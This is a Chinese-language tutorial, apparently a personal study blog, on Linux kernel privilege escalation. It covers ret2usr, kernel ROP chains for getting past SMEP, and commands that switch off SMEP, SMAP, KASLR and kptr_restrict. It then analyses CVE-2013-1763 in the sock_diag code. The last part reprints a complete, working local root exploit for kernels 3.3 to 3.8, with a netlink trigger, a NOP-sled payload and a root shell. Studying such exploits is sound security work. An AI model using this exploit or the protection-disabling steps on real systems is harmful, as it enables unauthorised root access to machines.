花了一个月的时间开始学习linux内核提权,把学到的东西都整理在这了~前面介绍了关于内核提权的一些基础知识,后面会分析一个具体的漏洞。
在计算机中用于在发生故障时保护数据,提升计算机安全的一种方式,通常称为保护环,简称Rings。在一些硬件或者微代码级别上提供不同特权态模式的CPU架构上,保护环通常都是硬件强制的。Rings是从最高特权级(通常被叫作0级)到最低特权级(通常对应最大的数字)排列的。linux使用了ring0和ring3,ring0用于内核代码和驱动程序,ring3用于用户程序运行。
在内核中想要获得root权限不能只是用system("/bin/sh");
而是用下面的语句:
commit_creds(prepare_kernel_cred (0));
这个函数分配并应用了一个新的凭证结构(uid = 0, gid = 0)从而获取root权限。
管理模式执行保护。
保护内核使其不允许执行用户空间代码。也就是防止ret2usr攻击,后文会讲解ret2usr相关知识。
检查smep是否开启:
cat /proc/cpuinfo | grep smep
smep位于CR4寄存器的第20位,设置为1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000
。
关闭SMEP方法
修改/etc/default/grub
文件中的GRUB_CMDLINE_LINUX="",加上nosmep/nosmap/nokaslr,然后update-grub
就好。
GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr"
sudo update-grub
内核地址空间随机化。
即kptr_ restrict指示是否限制通过/ proc和其他接口暴露内核地址。
也就是说,我们不能直接通过cat /proc/kallsyms
来获得commit_creds的地址:
要禁用该限制使用下面的命令:
sudo sysctl -w kernel.kptr_restrict=0
ret2usr(return-to-usr)利用了用户空间进程不能访问内核空间,但是内核空间能访问用户空间这个特性来重定向内核代码或数据流指向用户空间,并在非root权限下进行提权。
将损坏的代码或数据指针重定向到用户空间中:
|----------------------| |----------------------|
| Function ptr |<== high mem ==>| sreuct vulu_opos |
|----------------------| | *dptr; |
| | |----------------------|
|----------------------| 内核空间 | |
| Data struct ptr | | |
|----------------------| | |
|----------------------|--------------------------|----------------------|
|----------------------| | struct vuln_ops{ |
| Data struct | | void(*a)(); |
|----------------------| 用户空间 | int b; |
| | |...}; |
|----------------------| |----------------------|
| escalate_privs() |<== low mem ==>| escalate_privs() |
|----------------------| |----------------------|
在用户空间中使用mmap提权payload,分配新的凭证结构:
int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
commit_creds = 0xffffffffxxxxxxxx;
prepare_kernel_cred = 0xffffffffxxxxxxxx;
void escalate_privs() { commit_creds(prepare_kernel_cred(0)); } //获取root权限
stuct cred —— cred的基本单位
prepare_kernel_cred —— 分配并返回一个新的cred
commit_creds —— 应用新的cred
在用户空间创建一个新的结构体“A”。
多数情况下系统是会开启SMEP的,这时候就不能使用ret2usr了,可以使用内核ROP技术来绕过SMEP。
内核空间的ROP和用户空间的ROP其实差不多,但是内核传参一般是通过寄存器而不是栈,而且内核并不和用户空间共用一个栈。
我们构建一个ROP链让它执行上面的内核提权操作,但是不执行在用户空间的任何指令。
构造的ROP链结构一般是这样的:
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret |
|----------------------|
| addr of |
| commit_creds() |<== high mem
|----------------------|
先将函数的第一个参数传入rdi寄存器中,然后ROP链中的第一条指令从堆栈中弹出空值,将这个值传递给prepare_kernel_cred()函数。然后将指向一个新的凭证结构的指针存储在rax中,并执行mov rdi, rax操作,再把这个rdi作为参数传递给commit_creds()。这样就实现了一个提权ROP链。
同用户空间的ROP一样我们还是需要找gadget,内核空间的gadget也是可以简单地从内核二进制文件中提取的。
首先使用extract-vmlinux脚本来解压/boot/vmlinuz*
这个压缩内核镜像。extract-vmlinux位于/usr/src/linux-headers-3.13.0-32/scripts
目录。
用这个命令解压vmlinuz并保存到vmlinux:
sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux
之后就可以用ROPgadget来获取gadget了,最好是一次性把gadget都写到一个文件中。
ROPgadget --binary vmlinux > ~/ropgadget
根据前面我们构造的ROP链,要找pop rdi; ret和mov rdi, rax; ret这俩gadget,但是在vmlinux里并没有后面这个gadget,只找到下面的:
0xffffffff81016bc5 : pop rdi ; ret
0xffffffff810e00d1 : pop rdx ; ret
0xffffffff8118e3a0 : mov rdi, rax ; call r10
0xffffffff8142b6d1 : mov rdi, rax ; call r12
0xffffffff8130217b : mov rdi, rax ; call r14
0xffffffff81d48ba6 : mov rdi, rax ; call r15
0xffffffff810d5f34 : mov rdi, rax ; call r8
0xffffffff8117f534 : mov rdi, rax ; call r9
0xffffffff8133ed6b : mov rdi, rax ; call rbx
0xffffffff8105f69f : mov rdi, rax ; call rcx
0xffffffff810364bf : mov rdi, rax ; call rdx
只好调整最初的ROP链,用mov rdi, rax ; call rdx和pop rdx; ret代替原来的。用call来执行commit_creds(),而rdi就指向新的凭证结构。
ROP链如下:
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret |
|----------------------|
| addr of |
| commit_creds() |
|----------------------|
| mov rdi, rax ; |
| call rdx |<== high mem
|----------------------|
由于我们只能在内核空间执行代码,但是不能把ROP链放到内核空间中,所以只能把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。这样就能从用户空间获取指针到内核空间了。
怎么放?用Stack Pivot-->;
mov rXx, rsp ; ret
add rsp, ...; ret
xchg rXx, rsp ; ret(xchg eXx, esp ; ret)
xchg rsp, rXx ; ret(xchg esp, eXx ; ret)
在64位的系统中使用这里的xchg rXx, rsp ; ret(xchg rsp, rXx ; ret)32位的寄存器,即xchg eXx, esp; ret或xchg esp, eXx ; ret。这样做其实是当rXx中包含有效的内核内存地址时,就把rXx的低32位设置为新的栈指针。(rax也被设置为rsp的低32位)
之后我们还需要返回到用户空间里执行代码,用下面的两个指令:
swapgs
iretq
使用iretq指令返回到用户空间,在执行iretq之前,执行swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序。
iretq的堆栈布局如下:
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。
最终构造的rop链是这样的:
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret |
|----------------------|
| addr of |
| commit_creds() |
|----------------------|
| mov rdi, rax ; |
| call rdx |
|----------------------|
| swapgs; |
| pop rbp; ret |
|----------------------|
| 0xdeadbeefUL |
| iretq; |
|----------------------|
| shell |
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP,然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。
构造下面的的结构,ROP链也像上面那样构造就行了:
offset of rip
pop rdi; ret
mov CR4, rdi; ret
commit_creds(prepare_kernel_cred(0))
swapgs
iretq
RIP
CS
EFLAGS
RSP
SS
关于具体的内核ROP可以查看这篇文章
分了两篇,写得非常好,而且写了漏洞驱动来实践,感兴趣的可以跟进试试。
在exploit-db上找了比较典型的本地提权漏洞exp ,接下来将详细分析并复现这个漏洞。
本地提权漏洞。在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致数组越界访问,从而可执行任意代码。
linux kernel 3.3-3.8
可以看到patch只是在__sock_diag_rcv_msg函数里加上了数组边界判断。
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family); //传入sdiag_family的值,返回数组指针sock_diag_handlers[reg->sdiag_family].但是没有做边界判断,可能导致越界。
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh); //可以利用这个来执行任意代码
sock_diag_unlock_handler(hndl);
return err;
}
static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
if (sock_diag_handlers[family] == NULL)
request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
NETLINK_SOCK_DIAG, family);
mutex_lock(&sock_diag_table_mutex);
return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,也就是当family >= AF_MAX时数组越界
}
static struct sock_diag_handler *sock_diag_handlers[AF_MAX];
首先我们需要知道如何才能在上面的漏洞下断点然后执行到里面去。查看net/core/sock_diag.c
源码发现它使用了netlink.h头文件,我们可以利用netlink协议来创建socket并发送数据触发断点。
查看netlink数据包结构:
Netlink套接字用于在进程和内核空间之间传递信息。它传达的每个netlink消息的应用程序必须提供以下变量:
struct nlmsghdr {
__u32 nlmsg_len; /*包含标题的消息长度。*/
__u16 nlmsg_type; /*消息内容的类型。*/
__u16 nlmsg_flags; /*其他标志。*/
__u32 nlmsg_seq; /* 序列号。*/
__u32 nlmsg_pid; /*发送进程的PID。*/
};
根据其结构体编写代码:
struct { //netlink数据包格式
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[8192];
//创建netlink协议的socket
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
//填充数据包使其能执行到__sock_diag_rcv_msg
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
我们要获取root权限,前面说了,不能直接直接使用system("/bin/sh");
用kernel_code函数来重新分配一个新的凭证结构:
int __attribute__((regparm(3)))
kernel_code(){
commit_creds(prepare_kernel_cred(0));
return -1; }
但是我们还需要考虑如何将这段代码放到内存中并执行,将family的值设置为多少才能返回到我们所需要的结构体。
查看下面结构体:
struct sock_diag_handler {
__u8 family;//
int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh); //利用dump指针
};
/*net/netlink/af_netlink.c下定义的结构体*/
struct netlink_table {
struct nl_portid_hash hash;
struct hlist_head mc_list;
struct listeners __rcu *listeners;
unsigned int flags;
unsigned int groups;
struct mutex *cb_mutex;
struct module *module;
void (*bind)(int group);
int registered;
};
static struct netlink_table *nl_table;
struct nl_portid_hash {
struct hlist_head *table;
unsigned long rehash_time;
unsigned int mask;
unsigned int shift;
unsigned int entries;
unsigned int max_shift;
u32 rnd;
};
经调试,我们发现rehash_time这个值一直在0x10000-0x130000
这个范围内,那么我们就可以设置family的值取到nl_table.hash就可以了。
用cat /proc/kallsyms
查看结构体的地址并计算相对偏移(如果系统开启了内核地址显示限制可以用这个命令禁用$ sudo sysctl -w kernel.kptr_restrict=0
):
edvison@edvison:~$ cat /proc/kallsyms | grep commit_creds
c10600a0 T commit_creds
c17b0f1c r __ksymtab_commit_creds
c17bcfb8 r __kcrctab_commit_creds
c17c500a r __kstrtab_commit_creds
edvison@edvison:~$ cat /proc/kallsyms | grep prepare_kernel_cred
c1060360 T prepare_kernel_cred
c17b49fc r __ksymtab_prepare_kernel_cred
c17bed28 r __kcrctab_prepare_kernel_cred
c17c4fce r __kstrtab_prepare_kernel_cred
edvison@edvison:~$ cat /proc/kallsyms | grep nl_table
c1852888 d nl_table_lock
c185288c d nl_table_wait
c19a00c8 b nl_table_users
c19a00cc b nl_table
edvison@edvison:~$ cat /proc/kallsyms | grep sock_diag_handlers
c199ff40 b sock_diag_handlers
计算family值:
family = (nl_table - sock_diag_handlers)/4 = (c19a00cc - c199ff40)/4 = 99L
得到family的值后,就可以在0x10000-0x130000这个范围里mmap一块内存,在前面填充满nop,然后把我们的提权代码kernel_code()放到这块区域的最后面,这样就使得只要跳转到这块区域就能够一路执行到我们的提权代码。jmp_payload代码如下:
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
}
编译后,objdump查看这段函数:
编写payload,然后替换进kernel_code。
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
*asd = (unsigned long)kernel_code;
完整exp如下:
/*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
*
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
*
* Fedora 18 support added
*
* 2/2013
*/
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //获取root权限
kernel_code()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%s\n", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char*argv[])
{
int fd;
unsigned family;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[8192];
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
//req.r.sdiag_family = 99;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
if(argc==1){
printf("Run: %s Fedora|Ubuntu\n",argv[0]);
return 0;
}
else if(strcmp(argv[1],"Fedora")==0){
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
sock_diag_handlers = get_symbol("sock_diag_handlers");
nl_table = get_symbol("nl_table");
if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
printf("some symbols are not available!\n");
exit(1);
}
family = (nl_table - sock_diag_handlers) / 4;
printf("family=%d\n",family);
req.r.sdiag_family = family;
if(family>255){
printf("nl_table is too far!\n");
exit(1);
}
}
else if(strcmp(argv[1],"Ubuntu")==0){
commit_creds = (_commit_creds) 0xc10600a0;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc1060360;
req.r.sdiag_family = 99; //c19a00cc - c199ff40 = nl_table - sock_diag_handlers = 99L
}
unsigned long mmap_start, mmap_size;
mmap_start = 0x10000;
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
*asd = (unsigned long)kernel_code;
//把jump_payload放进mmap的内存的最后
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
printf("uid=%d, euid=%d\n",getuid(), geteuid() );
system("/bin/sh");
}